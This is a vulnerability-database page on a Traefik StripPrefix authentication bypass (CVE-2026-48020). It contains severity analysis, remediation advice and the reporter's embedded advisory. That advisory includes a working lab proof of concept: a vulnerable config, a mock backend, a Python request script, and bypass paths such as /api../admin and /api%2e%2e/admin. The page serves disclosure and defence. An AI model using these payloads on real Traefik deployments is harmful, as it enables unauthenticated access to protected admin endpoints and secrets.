Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify Traefik-fronted target with StripPrefix pattern
-
DeliverySend GET /api../admin or /api%2e%2e/admin
-
ExploitPublic router matches pre-normalization
-
ExecutionStripPrefix + JoinPath normalize to /admin
-
PersistBackend serves protected endpoint unauthenticated
-
ImpactExfiltrate config/secrets or invoke admin execution primitive
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Alternate path authentication
|
| Exploitation Conditions | Requires that the target Traefik instance (v2 < 2.11.48, v3 < 3.6.19, or 3.7.x < 3.7.3) be configured with a public router whose rule uses PathPrefix without a trailing slash (e.g., PathPrefix( |
| Impact | Signals are mixed. The NVD-style CVSS 3.1 the reporter proposed (10.0/9.1 Critical, AV:N/AC:L/PR:N/UI:N) and the provided CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N, SC:H/SI:H) both indicate unauthenticated network-reachable exploitation with high impact on a downstream system, and publicly available PoC code lowers the bar to weaponize. Counterweighting that, EPSS is only 0.22% (45th percentile), the CVE is not on CISA KEV, and exploitability is gated on a specific operator configuration pattern (a permissive PathPrefix public route using StripPrefix while a sibling router enforces auth on the would-be-protected paths) - so the population of vulnerable deployments is a subset of all Traefik installs. Note also that the input CVSS 4.0 vector sets VC:N/VI:N/VA:N and pushes impact to SC:H/SI:H (subsequent-system), which is internally consistent with a proxy auth bypass but yields a 7.8 base score that is notably lower than the reporter's proposed 9.1-10.0 CVSS 3.1; this divergence is a scoring-model artifact, not conflicting evidence. Net: treat as a high priority for any Traefik operator who fronts protected backend paths with a sibling-router auth pattern, lower priority where StripPrefix is not in use or strict prefix boundaries are already enforced. |
| Exploit ScenarioDerived | An attacker on the internet sends GET /api../admin (or the percent-encoded /api%2e%2e/admin) to a Traefik-fronted application that uses the vulnerable StripPrefix pattern; Traefik matches the public /api router, strips the prefix, normalizes the path to /admin, and forwards it to the backend with no auth header. The backend serves the admin endpoint as if the request had passed authentication, exposing configuration, secrets, or - if the admin surface includes an execution primitive such as /admin/exec - a conditional path to RCE. A complete Python PoC (docker-compose plus poc.py) is published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 23, 2026
Route-level authentication bypass in Traefik's StripPrefix middleware allows unauthenticated remote attackers to reach protected backend endpoints (e.g., /admin, /internal/config) by crafting request paths such as /api../admin or /api%2e%2e/admin. The public router matches before path normalization, but StripPrefix subsequently normalizes the path via JoinPath() so the backend receives the protected path without the authentication middleware ever running. Publicly available exploit code exists (full PoC in the advisory), patches are released, and EPSS sits at 0.22% (45th percentile) with no CISA KEV listing.
Earlier versions of this analysis (2)
Route-level authentication bypass in Traefik 2.11.x (<2.11.48), 3.6.x (<3.6.19), and 3.7.x (<3.7.3) allows unauthenticated remote attackers to reach protected backend endpoints by combining PathPrefix-matched public routes with the StripPrefix middleware. By submitting paths containing .. or %2e%2e (e.g., /api../admin), requests match a public router but, after prefix stripping and URL normalization, resolve to paths guarded by a separate authenticated router. Publicly available exploit code exists (full PoC in the GHSA advisory), though EPSS remains low at 0.22% and it is not listed in CISA KEV.
Route-level authentication bypass in Traefik's StripPrefix middleware allows unauthenticated remote attackers to reach protected backend paths by smuggling path traversal sequences (.. or %2e%2e) through public PathPrefix routes. Affected versions include Traefik v2.11 through v2.11.46, v3.6 through v3.6.17, and v3.7 through v3.7.1, with publicly available exploit code (full PoC published in the GHSA advisory). The flaw lets attackers reach admin or internal configuration endpoints guarded by a separate authenticated router, with no public exploit identified at time of analysis in the wild but a working PoC disclosed alongside the advisory.
RemediationAI
Vendor-released patches: upgrade to Traefik 2.11.48, 3.6.19, or 3.7.3 (release notes: https://github.com/traefik/traefik/releases/tag/v2.11.48, /v3.6.19, /v3.7.3), which reject requests whose path differs after StripPrefix/StripPrefixRegex normalization (PR #13215). If you cannot patch immediately, the reporter verified two configuration-level mitigations in the lab: replace permissive rules like PathPrefix(/api) with a strict boundary using PathRegexp(^/api(/|$)), or use PathPrefix(/api/) paired with StripPrefix(/api/) so that /api.. no longer matches the public router; the trade-off is that any legitimate client relying on the trailing-slash-less form must be updated. As a defensive backstop, audit dynamic.yml/IngressRoute configurations for the vulnerable pattern (public StripPrefix route plus sibling auth-protected route on adjacent paths) and consider adding a WAF rule that rejects requests whose decoded path contains '..' segments before they reach Traefik.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 6 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Traefik is a widely deployed cloud-native reverse proxy and ingress controller written in Go (CPE: pkg:go/github.com/traefik/traefik/v2 and v3). The vulnerability lives in the StripPrefix middleware: in affected versions it calls req.URL.JoinPath() after removing the matched prefix, which canonicalizes '..' segments. Routing decisions, however, are made on the raw pre-normalization path, so a request like /api../admin satisfies a permissive PathPrefix(/api) router (and evades the negated !PathPrefix(/api/admin) guard), gets stripped to /../admin, and is then collapsed to /admin before being forwarded to the backend - completely sidestepping any auth middleware attached to a separate /admin router. The root cause maps cleanly to CWE-288 (Authentication Bypass Using an Alternate Path) and CWE-180 (Validate Before Canonicalize); it is a variant of, but distinct from, prior StripPrefixRegex normalization bugs in Traefik.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Network-reachable, no auth or UI; exploitation needs a specific but common StripPrefix config (AC:L is defensible); Scope:Changed because the bypass crosses Traefik's auth boundary to a separately-secured backend, with high C/I impact and no availability effect.
Primary rating from Vendor (https://github.com/traefik/traefik).
CVSS VectorVendor: https://github.com/traefik/traefik
Lifecycle Timeline
3DescriptionCVE.org
Summary
There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths - such as admin or internal configuration endpoints - without satisfying the authentication middleware attached to the protected router.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.48
- https://github.com/traefik/traefik/releases/tag/v3.6.19
- https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)
Summary
A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.
A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.
This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.
This report specifically affects StripPrefix.
Affected Versions Tested
| Image | Observed Version | Result |
|---|---|---|
traefik:v2.11 | v2.11.46 | Affected |
traefik:v3.6 | v3.6.17 | Affected |
traefik:latest | v3.7.1 | Affected |
Lab Contrast
| Image | Result |
|---|---|
traefik:v2.10 | Not reproduced in lab |
traefik:v3.5 | Not reproduced in lab |
Vulnerable Configuration Pattern
The issue appears when:
- a broad public route strips a prefix
- while a separate protected route is intended to guard internal/admin paths
http:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints:
- web
middlewares:
- strip-api
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints:
- web
middlewares:
- auth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes:
- /api
auth:
basicAuth:
users:
- 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
- url: http://backend:9000Observed Behavior
Direct Protected Paths
These are correctly blocked.
| Request | Expected | Observed |
|---|---|---|
GET /admin | Blocked | 401 |
GET /internal/config | Blocked | 401 |
Expected Public Exclusions
These do not expose protected backend paths.
| Request | Expected | Observed |
|---|---|---|
GET /api/admin | Not routed to protected backend path | 404 |
GET /api/internal/config | Not routed to protected backend path | 404 |
Bypass Payloads
These reach protected backend paths.
| Request | Observed Status | Backend Receives |
|---|---|---|
GET /api../admin | 200 | /admin |
GET /api%2e%2e/admin | 200 | /admin |
GET /api../internal/config | 200 | /internal/config |
GET /api%2e%2e/internal/config | 200 | /internal/config |
Minimal PoC
docker-compose.yml
services:
traefik:
image: traefik:v3.7
command:
- --providers.file.filename=/etc/traefik/dynamic.yml
- --entrypoints.web.address=:8080
- --accesslog=true
ports:
- "127.0.0.1:18080:8080"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
depends_on:
- backend
backend:
image: python:3.12-slim
working_dir: /app
command: python backend.py
volumes:
- ./backend.py:/app/backend.py:ro
expose:
- "9000"dynamic.yml
http:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints:
- web
middlewares:
- strip-api
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints:
- web
middlewares:
- auth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes:
- /api
auth:
basicAuth:
users:
- 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
- url: http://backend:9000backend.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class Handler(BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
return
def _json(self, status, obj):
body = json.dumps(obj).encode()
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_GET(self):
if self.path == "/admin":
self._json(200, {
"seen_path": self.path,
"secret": "ADMIN_SECRET_REACHED"
})
elif self.path == "/internal/config":
self._json(200, {
"seen_path": self.path,
"secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
})
elif self.path == "/admin/exec":
self._json(200, {
"seen_path": self.path,
"rce_chain_marker": True,
"note": "protected execution endpoint reached"
})
else:
self._json(404, {
"seen_path": self.path,
"secret": None
})
HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()poc.py
#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError
BASE = "http://127.0.0.1:18080"
PATHS = [
"/admin",
"/internal/config",
"/api/admin",
"/api/internal/config",
"/api../admin",
"/api%2e%2e/admin",
"/api../internal/config",
"/api%2e%2e/internal/config",
"/admin/exec",
"/api/admin/exec",
"/api../admin/exec",
"/api%2e%2e/admin/exec",
]
for path in PATHS:
req = Request(BASE + path)
try:
with urlopen(req, timeout=5) as r:
status = r.status
body = r.read().decode(errors="replace")
except HTTPError as e:
status = e.code
body = e.read().decode(errors="replace")
print(f"{path:28} {status} {body[:180]}")Run
docker compose up -d
python3 poc.pyExpected Vulnerable Output
/admin 401
/internal/config 401
/api/admin 404
/api/internal/config 404
/api../admin 200 backend seen_path=/admin
/api%2e%2e/admin 200 backend seen_path=/admin
/api../internal/config 200 backend seen_path=/internal/config
/api%2e%2e/internal/config 200 backend seen_path=/internal/config
/api../admin/exec 200 protected execution endpoint reached
/api%2e%2e/admin/exec 200 protected execution endpoint reachedRoot Cause Hypothesis
The vulnerable behavior appears to be caused by path normalization after prefix stripping.
Incoming path: /api../admin
After StripPrefix("/api"): /../admin
After JoinPath(): /adminThe request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.
The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.
Security Impact
An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.
Potential impact includes:
- Access to protected admin paths
- Access to internal configuration endpoints
- Exposure of secrets returned by internal backends
- Access to protected backend management functionality
- Conditional RCE if the protected backend exposes an execution primitive
In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.
This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.
Suggested Severity
Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:NScope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.
If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NThe issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.
Weakness
Primary CWE:
CWE-863: Incorrect Authorization
Related weakness candidates:
CWE-180: Incorrect Behavior Order: Validate Before CanonicalizeCWE-22: Improper Limitation of a Pathname to a Restricted Directory
Mitigation Verified in Lab
The bypass was blocked when using a stricter prefix boundary:
PathRegexp(`^/api(/|$)`)or:
PathPrefix(`/api/`) with StripPrefix(`/api/`)Relation to Existing Advisories
This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.
This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.
Reporter
WonYun / kyun0
</details>
Articles & Coverage 1
Executive ViewAI
Traefik's StripPrefix middleware contains an authentication bypass vulnerability (CVE-2026-48020) allowing unauthenticated attackers to access protected administrative and configuration endpoints. Publicly available exploit code exists. Unpatched instances expose critical infrastructure management to unauthorized access.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Same technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-38574
GHSA-xf64-8mw2-4gr2
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB